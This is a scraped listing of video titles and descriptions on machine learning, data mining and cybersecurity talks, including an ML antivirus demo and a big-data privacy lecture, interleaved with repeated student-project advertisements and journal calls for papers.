Heavy Traffic in RPL Routing Protocol for Low Power and Lossy Networks 193. Improving the efficiency of MapReduce scheduling algorithm in Hadoop
Views: 2 MICANS VIDEOS
Build an Antivirus in 5 Min - Fresh Machine Learning #7
 
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In this video, we talk about how machine learning is used to create antivirus programs! Specifically, a classifier can be trained to detect whether or not some piece of software is malicious. Check out my friend Danooct1's Youtube channel on viruses (dope AF): https://www.youtube.com/user/danooct1 The code in the video is here: https://github.com/llSourcell/antivirus_demo I created a Slack channel for us, sign up here: https://wizards.herokuapp.com/ Paper 1: A Machine Learning Approach to Anomaly based detection on Android https://arxiv.org/pdf/1512.04122.pdf Paper 2: SMARTBot - A Behavior Detection Framework for Botnets http://www.ncbi.nlm.nih.gov/pmc/articles/PMC4792466/ Paper 3: A New Malware Detection Approach Using Bayesian Classification https://arxiv.org/pdf/1608.00848v1.pdf More on Machine Learning + Cybersecurity: http://www.lancaster.ac.uk/pg/richarc2/dissertation.pdf https://www.sec.in.tum.de/malware-detection-ws0910/ https://insights.sei.cmu.edu/sei_blog/2011/09/using-machine-learning-to-detect-malware-similarity.html I love you guys! Thanks for watching my videos, I do it for you. I left my awesome job at Twilio and I'm doing this full time now. I recently created a Patreon page. If you like my videos, feel free to help support my effort here!: https://www.patreon.com/user?ty=h&u=3191693 Much more to come so please subscribe, like, and comment. Follow me: Twitter: https://twitter.com/sirajraval Facebook: https://www.facebook.com/sirajology Instagram: https://www.instagram.com/sirajraval/ Instagram: https://www.instagram.com/sirajraval/ Signup for my newsletter for exciting updates in the field of AI: https://goo.gl/FZzJ5w
Views: 99566 Siraj Raval
Data Mining: How You're Revealing More Than You Think
 
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Data mining recently made big news with the Cambridge Analytica scandal, but it is not just for ads and politics. It can help doctors spot fatal infections and it can even predict massacres in the Congo. Hosted by: Stefan Chin Head to https://scishowfinds.com/ for hand selected artifacts of the universe! ---------- Support SciShow by becoming a patron on Patreon: https://www.patreon.com/scishow ---------- Dooblydoo thanks go to the following Patreon supporters: Lazarus G, Sam Lutfi, Nicholas Smith, D.A. Noe, سلطان الخليفي, Piya Shedden, KatieMarie Magnone, Scott Satovsky Jr, Charles Southerland, Patrick D. Ashmore, Tim Curwick, charles george, Kevin Bealer, Chris Peters ---------- Looking for SciShow elsewhere on the internet? Facebook: http://www.facebook.com/scishow Twitter: http://www.twitter.com/scishow Tumblr: http://scishow.tumblr.com Instagram: http://instagram.com/thescishow ---------- Sources: https://www.aaai.org/ojs/index.php/aimagazine/article/viewArticle/1230 https://www.theregister.co.uk/2006/08/15/beer_diapers/ https://www.theatlantic.com/technology/archive/2012/04/everything-you-wanted-to-know-about-data-mining-but-were-afraid-to-ask/255388/ https://www.economist.com/node/15557465 https://blogs.scientificamerican.com/guest-blog/9-bizarre-and-surprising-insights-from-data-science/ https://qz.com/584287/data-scientists-keep-forgetting-the-one-rule-every-researcher-should-know-by-heart/ https://www.amazon.com/Predictive-Analytics-Power-Predict-Click/dp/1118356853 http://dml.cs.byu.edu/~cgc/docs/mldm_tools/Reading/DMSuccessStories.html http://content.time.com/time/magazine/article/0,9171,2058205,00.html https://www.nytimes.com/2012/02/19/magazine/shopping-habits.html?pagewanted=all&_r=0 https://www2.deloitte.com/content/dam/Deloitte/de/Documents/deloitte-analytics/Deloitte_Predictive-Maintenance_PositionPaper.pdf https://www.cs.helsinki.fi/u/htoivone/pubs/advances.pdf http://cecs.louisville.edu/datamining/PDF/0471228524.pdf https://bits.blogs.nytimes.com/2012/03/28/bizarre-insights-from-big-data https://scholar.harvard.edu/files/todd_rogers/files/political_campaigns_and_big_data_0.pdf https://insights.spotify.com/us/2015/09/30/50-strangest-genre-names/ https://www.theguardian.com/news/2005/jan/12/food.foodanddrink1 https://adexchanger.com/data-exchanges/real-world-data-science-how-ebay-and-placed-put-theory-into-practice/ https://www.theverge.com/2015/9/30/9416579/spotify-discover-weekly-online-music-curation-interview http://blog.galvanize.com/spotify-discover-weekly-data-science/ Audio Source: https://freesound.org/people/makosan/sounds/135191/ Image Source: https://commons.wikimedia.org/wiki/File:Swiss_average.png
Views: 136998 SciShow
Dr. Yaron Wolfsthal, Head of IBM's Cybersecurity Center of Excellence in Beer-Sheva
 
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Dr. Yaron Wolfsthal, Head of IBM's Cybersecurity Center of Excellence in Beer-Sheva
Views: 426 BenGurionUniversity
Adversarial Machine Learning in Information Security
 
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Fresh New Webinar: Hyrum Anderson, Technical Director of Data Science at Endgame, one of the speakers at the BlackHat Event last year in Las Vegas, NV will be presenting Adversarial Machine Learning in Information Security.
Privacy and Security Issues in Big Data and Data Mining
 
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This talk will cover privacy-preserving data mining, an emerging research topic in data mining, whose basic idea is to modify the data in such a way so as to perform data mining algorithms effectively without compromising the security of sensitive information contained in the data. Speaker: Vyas Krishnan, Ph.D. Associate Professor of Computer Science Saint Leo University
Prediction of effective rainfall and crop water needs using data mining techniques
 
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Prediction of effective rainfall and crop water needs using data mining techniques- IEEE PROJECTS 2018 Download projects @ www.micansinfotech.com WWW.SOFTWAREPROJECTSCODE.COM https://www.facebook.com/MICANSPROJECTS Call: +91 90036 28940 ; +91 94435 11725 IEEE PROJECTS, IEEE PROJECTS IN CHENNAI,IEEE PROJECTS IN PONDICHERRY.IEEE PROJECTS 2018,IEEE PAPERS,IEEE PROJECT CODE,FINAL YEAR PROJECTS,ENGINEERING PROJECTS,PHP PROJECTS,PYTHON PROJECTS,NS2 PROJECTS,JAVA PROJECTS,DOT NET PROJECTS,IEEE PROJECTS TAMBARAM,HADOOP PROJECTS,BIG DATA PROJECTS,Signal processing,circuits system for video technology,cybernetics system,information forensic and security,remote sensing,fuzzy and intelligent system,parallel and distributed system,biomedical and health informatics,medical image processing,CLOUD COMPUTING, NETWORK AND SERVICE MANAGEMENT,SOFTWARE ENGINEERING,DATA MINING,NETWORKING ,SECURE COMPUTING,CYBERSECURITY,MOBILE COMPUTING, NETWORK SECURITY,INTELLIGENT TRANSPORTATION SYSTEMS,NEURAL NETWORK,INFORMATION AND SECURITY SYSTEM,INFORMATION FORENSICS AND SECURITY,NETWORK,SOCIAL NETWORK,BIG DATA,CONSUMER ELECTRONICS,INDUSTRIAL ELECTRONICS,PARALLEL AND DISTRIBUTED SYSTEMS,COMPUTER-BASED MEDICAL SYSTEMS (CBMS),PATTERN ANALYSIS AND MACHINE INTELLIGENCE,SOFTWARE ENGINEERING,COMPUTER GRAPHICS, INFORMATION AND COMMUNICATION SYSTEM,SERVICES COMPUTING,INTERNET OF THINGS JOURNAL,MULTIMEDIA,WIRELESS COMMUNICATIONS,IMAGE PROCESSING,IEEE SYSTEMS JOURNAL,CYBER-PHYSICAL-SOCIAL COMPUTING AND NETWORKING,DIGITAL FORENSIC,DEPENDABLE AND SECURE COMPUTING,AI - MACHINE LEARNING (ML),AI - DEEP LEARNING ,AI - NATURAL LANGUAGE PROCESSING ( NLP ),AI - VISION (IMAGE PROCESSING),mca project NETWORKING 1. A Non-Monetary Mechanism for Optimal Rate Control Through Efficient Cost Allocation 2. A Probabilistic Framework for Structural Analysis and Community Detection in Directed Networks 3. A Ternary Unification Framework for Optimizing TCAM-Based Packet Classification Systems 4. Accurate Recovery of Internet Traffic Data Under Variable Rate Measurements 5. Accurate Recovery of Internet Traffic Data: A Sequential Tensor Completion Approach 6. Achieving High Scalability Through Hybrid Switching in Software-Defined Networking 7. Adaptive Caching Networks With Optimality Guarantees 8. Analysis of Millimeter-Wave Multi-Hop Networks With Full-Duplex Buffered Relays 9. Anomaly Detection and Attribution in Networks With Temporally Correlated Traffic 10. Approximation Algorithms for Sweep Coverage Problem With Multiple Mobile Sensors 11. Asynchronously Coordinated Multi-Timescale Beamforming Architecture for Multi-Cell Networks 12. Attack Vulnerability of Power Systems Under an Equal Load Redistribution Model 13. Congestion Avoidance and Load Balancing in Content Placement and Request Redirection for Mobile CDN 14. Data and Spectrum Trading Policies in a Trusted Cognitive Dynamic Network Architecture 15. Datum: Managing Data Purchasing and Data Placement in a Geo-Distributed Data Market 16. Distributed Packet Forwarding and Caching Based on Stochastic NetworkUtility Maximization 17. Dynamic, Fine-Grained Data Plane Monitoring With Monocle 18. Dynamically Updatable Ternary Segmented Aging Bloom Filter for OpenFlow-Compliant Low-Power Packet Processing 19. Efficient and Flexible Crowdsourcing of Specialized Tasks With Precedence Constraints 20. Efficient Embedding of Scale-Free Graphs in the Hyperbolic Plane 21. Encoding Short Ranges in TCAM Without Expansion: Efficient Algorithm and Applications 22. Enhancing Fault Tolerance and Resource Utilization in Unidirectional Quorum-Based Cycle Routing 23. Enhancing Localization Scalability and Accuracy via Opportunistic Sensing 24. Every Timestamp Counts: Accurate Tracking of Network Latencies Using Reconcilable Difference Aggregator 25. Fast Rerouting Against Multi-Link Failures Without Topology Constraint 26. FINE: A Framework for Distributed Learning on Incomplete Observations for Heterogeneous Crowdsensing Networks 27. Ghost Riders: Sybil Attacks on Crowdsourced Mobile Mapping Services 28. Greenput: A Power-Saving Algorithm That Achieves Maximum Throughput in Wireless Networks 29. ICE Buckets: Improved Counter Estimation for Network Measurement 30. Incentivizing Wi-Fi Network Crowdsourcing: A Contract Theoretic Approach 31. Joint Optimization of Multicast Energy in Delay-Constrained Mobile Wireless Networks 32. Joint Resource Allocation for Software-Defined Networking, Caching, and Computing 33. Maximizing Broadcast Throughput Under Ultra-Low-Power Constraints 34. Memory-Efficient and Ultra-Fast Network Lookup and Forwarding Using Othello Hashing 35. Minimizing Controller Response Time Through Flow Redirecting in SDNs 36. MobiT: Distributed and Congestion-Resilient Trajectory-Based Routing for Vehicular Delay Tolerant Networks
Leveraging Propagation for Data Mining: Models, Algorithms and Applications (Part 2)
 
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Authors: Naren Ramakrishnan, Department of Computer Science, Virginia Polytechnic Institute and State University B. Aditya Prakash, Department of Computer Science, Virginia Polytechnic Institute and State University Abstract: Can we infer if a user is sick from her tweet? How do opinions get formed in online forums? Which people should we immunize to prevent an epidemic as fast as possible? How do we quickly zoom out of a graph? Graphs - also known as networks - are powerful tools for modeling processes and situations of interest in real life domains of social systems, cyber-security, epidemiology, and biology. They are ubiquitous, from online social networks, gene-regulatory networks, to router graphs. This tutorial will cover recent and state-of-the-art research on how propagation-like processes can help big-data mining specifically involving large networks and time-series, algorithms behind network problems, and their practical applications in various diverse settings. Topics include diffusion and virus propagation in networks, anomaly and outbreak detection, event prediction and connections with work in public health, the web and online media, social sciences, humanities, and cyber-security. More on http://www.kdd.org/kdd2016/ KDD2016 Conference is published on http://videolectures.net/
Views: 50 KDD2016 video
Cyber Security
 
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Uncover the mysteries of Cyber Theft using Centrifuge Visual Network Analysis.
Views: 1009 centrifugesystems
CERIAS - 2016-01-27 - Big Data Security and Privacy
 
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Abstract Technological advances and novel applications, such as sensors, cyber-physical systems, smart mobile devices, cloud systems, data analytics, and social networks, are making possible to capture, and to quickly process and analyze huge amounts of data from which to extract information critical for security-related tasks. In the area of cyber security, such tasks include user authentication, access control, anomaly detection, user monitoring, and protection from insider threat. By analyzing and integrating data collected on the Internet and Web one can identify connections and relationships among individuals that may in turn help with homeland protection. By collecting and mining data concerning user travels and disease outbreaks one can predict disease spreading across geographical areas. And those are just a few examples; there are certainly many other domains where data technologies can play a major role in enhancing security. The use of data for security tasks is however raising major privacy concerns. Collected data, even if anonymized by removing identifiers such as names or social security numbers, when linked with other data may lead to re-identify the individuals to which specific data items are related to. Also, as organizations, such as governmental agencies, often need to collaborate on security tasks, data sets are exchanged across different organizations, resulting in these data sets being available to many different parties. Apart from the use of data for analytics, security tasks such as authentication and access control may require detailed information about users. An example is multi-factor authentication that may require, in addition to a password or a certificate, user biometrics. Recently proposed continuous authentication techniques extend access control system. This information if misused or stolen can lead to privacy breaches. It would then seem that in order to achieve security we must give up privacy. However this may not be necessarily the case. Recent advances in cryptography are making possible to work on encrypted data – for example for performing analytics on encrypted data. However much more needs to be done as the specific data privacy techniques to use heavily depend on the specific use of data and the security tasks at hand. Also current techniques are not still able to meet the efficiency requirement for use with big data sets. In this talk we will discuss methods and techniques to make this reconciliation possible and identify research directions. About the Speaker Elisa Bertino is professor of computer science at Purdue University and serves as Research Director of the Center for Information and Research in Information Assurance and Security (CERIAS). She is also an adjunct professor of Computer Science & Info tech at RMIT. Prior to joining Purdue in 2004, she was a professor and department head at the Department of Computer Science and Communication of the University of Milan. She has been a visiting researcher at the IBM Research Laboratory (now Almaden) in San Jose, at the Microelectronics and Computer Technology Corporation, at Rutgers University, at Telcordia Technologies. Her recent research focuses on database security, digital identity management, policy systems, and security for web services. She is a Fellow of ACM and of IEEE. She received the IEEE Computer Society 2002 Technical Achievement Award and the IEEE Computer Society 2005 Kanai Award. She is currently serving as EiC of IEEE Transactions on Dependable and Secure Computing http://www.cerias.purdue.edu
Views: 1066 ceriaspurdue
Managing Business Application Security Threats in 60 seconds
 
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SAP's Enterprise Threat Detection, described in 60 seconds. The video includes an introduction to how cyber threats have evolved and where their sources as well as the challenges faced analysing for threats with existing SIEM solutions. The video also follows an employee opening a phishing email and a security analyst being alerted to this, assigning for investigation.
Views: 83 Cavan Arrowsmith
A Software Engineer’s Career Path into Application Security
 
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There are many different skills that are useful when creating a career in application security, and not all of them are technical.
Views: 1599 Security Innovation
Computer Applications: An International Journal (CAIJ)
 
00:16
Computer Applications: An International Journal (CAIJ) ISSN :2393 - 8455 http://airccse.com/caij/index.html Call for papers Computer Applications: An International Journal (CAIJ) is a Quarterly open access peer-reviewed journal that publishes articles which contribute new results in all areas of the Computer Science Applications. The journal is devoted to the publication of high quality papers on theoretical and practical aspects of computer science applications. The goal of this journal is to bring together researchers and practitioners from academia and industry to focus on Computer science application advancements, and establishing new collaborations in these areas. Original research papers, state-of-the-art reviews are invited for publication in all areas of Computer Science Applications. Authors are solicited to contribute to the journal by submitting articles that illustrate research results, projects, surveying works and industrial experiences that describe significant advances in the areas of Computer Science Applications. Topics of interest include, but are not limited to, the following Accessible Computing Applications Algorithms and Computation theory Artificial Intelligence and Soft Computing Bioinformatics and Biosciences Computer Architecture Computer Graphics and Animation Computer Science / Information Technology Education Cryptography and Information security Data Communication and Computer Networks Data Mining and Knowledge Management Process Database Management Systems Design Automation Digital Signal and Image Processing Electronic Commerce Embedded Systems Genetic and Evolutionary Computation Health Informatics High Performance Computing Information Retrieval Internet Engineering & Web services Management Information Systems Measurement and Evaluation Micro architecture Multimedia and Applications Operating Systems Programming Languages Security, Privacy and Trust Management Simulation and Modeling Software Engineering Ubiquitous computing Wireless and Mobile networks Paper Submission Authors are invited to submit papers for this journal through E-mail: [email protected] . Submissions must be original and should not have been published previously or be under consideration for publication while being evaluated for this Journal. For other details please visit http://airccse.com/caij/index.html
Views: 13 aircc journal
Computer Applications : An International Journal CAIJ
 
00:26
Computer Applications: An International Journal (CAIJ) ISSN :2393 - 8455 http://airccse.com/caij/index.html Call for papers Computer Applications: An International Journal (CAIJ) is a Quarterly open access peer-reviewed journal that publishes articles which contribute new results in all areas of the Computer Science Applications. The journal is devoted to the publication of high quality papers on theoretical and practical aspects of computer science applications. The goal of this journal is to bring together researchers and practitioners from academia and industry to focus on Computer science application advancements, and establishing new collaborations in these areas. Original research papers, state-of-the-art reviews are invited for publication in all areas of Computer Science Applications. Authors are solicited to contribute to the journal by submitting articles that illustrate research results, projects, surveying works and industrial experiences that describe significant advances in the areas of Computer Science Applications. Topics of interest include, but are not limited to, the following Accessible Computing Applications Algorithms and Computation theory Artificial Intelligence and Soft Computing Bioinformatics and Biosciences Computer Architecture Computer Graphics and Animation Computer Science / Information Technology Education Cryptography and Information security Data Communication and Computer Networks Data Mining and Knowledge Management Process Database Management Systems Design Automation Digital Signal and Image Processing Electronic Commerce Embedded Systems Genetic and Evolutionary Computation Health Informatics High Performance Computing Information Retrieval Internet Engineering & Web services Management Information Systems Measurement and Evaluation Micro architecture Multimedia and Applications Operating Systems Programming Languages Security, Privacy and Trust Management Simulation and Modeling Software Engineering Ubiquitous computing Wireless and Mobile networks Paper Submission Authors are invited to submit papers for this journal through E-mail: [email protected] Submissions must be original and should not have been published previously or be under consideration for publication while being evaluated for this Journal.
Introduction to Computer Education for All Online Free Training
 
02:05
Computer Education for all provides free online Computer Tutorials Welcome, To The Leading Computer Education Channel, “Computer Education for All”. This Covers Tutorials and Lectures on all topics in Computer Science Education. For example Introduction to Computer Concepts Professional Communication Software Engineering Data Structure and Applications Programming in C/C++ Language Internet Programming Languages Java Latest Programming Languages C# ASP.net etc Data Base Applications Operating Systems Concepts Data Communication and Networks Discrete Structure, Visual Basic & Database Interface Digital Logic Design. Theory of Computation. Advance Algorithm. Distributed Systems. Advance Computer Architecture. Distributed Database. Data Warehousing & Mining. Information System Security. Case Tools & Application. Advance Topics in DBMS. Web Based Education System. Computer Aided Instructions. Measurement of Learning. Interactive Web Systems. Advance Topics in Computer Science Education. Internet Service Planning. E-Commerce Applications. Advance Topics in ITM. Artificial Intelligence. Computer Networks. Visualization, Computer Graphics & Data Analysis. Web Information Systems. Research Study. Thanks for watching video please Share, Subscribe, like and Comments the Channel Computer Education for All. Find us on Facebook: https://web.facebook.com/Computer-Education-for-All-1484033978567298 YouTube: https://www.youtube.com/channel/UCiV37YIYars6msmIQXopIeQ Basic Interview Questions| How to Send and Receive Emails | Introduction To Internet https://youtu.be/wd7a3lkXsmQ What is Database | Types of Database | Advantages of Database | DBMS https://youtu.be/BHzAC6hMr4o Entity Relationship Model in DBMS | Basic Database design | Relational Data Model Tutorial https://youtu.be/5tVyo8UprcM Database and Its Applications Full Course | Introduction to Database Management System https://youtu.be/Q-ROlcSr0Ns The normalization process in Database | Steps of the Normalization process https://youtu.be/CBaHgRjtdx8 Introduction to SQL | SQL Basic Tutorial | SQL Interview Questions https://youtu.be/35VAcmehqyg Introduction to Number System | Logic Gates | Basic Boolean Algebra https://youtu.be/LrvtZ9kaYFg Entity Relationship Diagram (ERD) Training Video | ERD Tutorial https://youtu.be/w3E88XgdJwk Shell Sort - step by step guide | Sorting Algorithm Computer Education for All https://youtu.be/H8NiFkGu2PY Introduction to Computer Concepts Unit No. 2 Education for All https://youtu.be/3pDLklFCiMI Oracle Forms and Reports Tutorial by Computer Education for All https://youtu.be/N5Rn294i7WU Introduction to java programming | Learn Java step by step | Java Tutorial Easy https://youtu.be/mYjL9p6Fa4A Introduction to Java Programming | Java for Beginners | Java Step by Step Tutorial 2 https://youtu.be/1WLX1W2lOtQ
Data Mining with Big Data
 
00:39
Final Year IEEE Projects for BE, B.Tech, ME, M.Tech,M.Sc, MCA & Diploma Students latest Java, .Net, Matlab, NS2, Android, Embedded, Robtics, VLSI, Power ElectronicsIEEE projects are given absolutely complete working product and document providing with real time Software & Embedded training...... ---------------------------------------------------------------- JAVA & .NET PROJECTS: Networking, Network Security, Data Mining, Cloud Computing, Grid Computing, Web Services, Mobile Computing, Software Engineering, Image Processing, E-Commerce, Games App, Multimedia, etc., EMBEDDED SYSTEMS: Embedded Systems,Micro Controllers, DSC & DSP, VLSI Design, Biometrics, RFID, Finger Print, Smart Cards, IRIS, Bar Code, Bluetooth, Zigbee, GPS, Voice Control, Remote System, Power Electronics, etc., ROBOTICS PROJECTS: Mobile Robots, Service Robots, Industrial Robots, Defence Robots, Spy Robot, Artificial Robots, Automated Machine Control, Stair Climbing, Cleaning, Painting, Industry Security Robots, etc., MOBILE APPLICATION (ANDROID & J2ME): Android Application, Web Services, Wireless Application, Bluetooth Application, WiFi Application, Mobile Security, Multimedia Projects, Multi Media, E-Commerce, Games Application, etc., CONTACT US: Ecway Technologies, 15/1 SATHIYAMOORTHI NAGAR, 2ND CROSS, THANTHONIMALAI(OPP TO GOVT. ARTS COLLEGE) KARUR-639005. TamilNadu , India. Cell: +91 9894917187/ +91 8754 87 2111/ +91 8754 87 3111 Website: www.ecwayprojects.com www.ecwaytechnologies.com Mail to: [email protected]
Computer Applications: An International Journal (CAIJ)
 
00:09
Computer Applications: An International Journal (CAIJ) ISSN :2393 - 8455 http://airccse.com/caij/index.html Call for papers Computer Applications: An International Journal (CAIJ) is a Quarterly open access peer-reviewed journal that publishes articles which contribute new results in all areas of the Computer Science Applications. The journal is devoted to the publication of high quality papers on theoretical and practical aspects of computer science applications. The goal of this journal is to bring together researchers and practitioners from academia and industry to focus on Computer science application advancements, and establishing new collaborations in these areas. Original research papers, state-of-the-art reviews are invited for publication in all areas of Computer Science Applications. Authors are solicited to contribute to the journal by submitting articles that illustrate research results, projects, surveying works and industrial experiences that describe significant advances in the areas of Computer Science Applications. Topics of interest include, but are not limited to, the following • Accessible Computing Applications • Algorithms and Computation theory • Artificial Intelligence and Soft Computing • Bioinformatics and Biosciences • Computer Architecture • Computer Graphics and Animation • Computer Science / Information Technology Education • Cryptography and Information security • Data Communication and Computer Networks • Data Mining and Knowledge Management Process • Database Management Systems • Design Automation • Digital Signal and Image Processing • Electronic Commerce • Embedded Systems • Genetic and Evolutionary Computation • Health Informatics • High Performance Computing • Information Retrieval • Internet Engineering & Web services • Management Information Systems • Measurement and Evaluation • Micro architecture • Multimedia and Applications • Operating Systems • Programming Languages • Security, Privacy and Trust Management • Simulation and Modeling • Software Engineering • Ubiquitous computing • Wireless and Mobile network Paper Submission Authors are invited to submit papers for this journal through E-mail: [email protected] . Submissions must be original and should not have been published previously or be under consideration for publication while being evaluated for this Journal. For other details please visit http://airccse.com/caij/index.html
Views: 32 aircc journal

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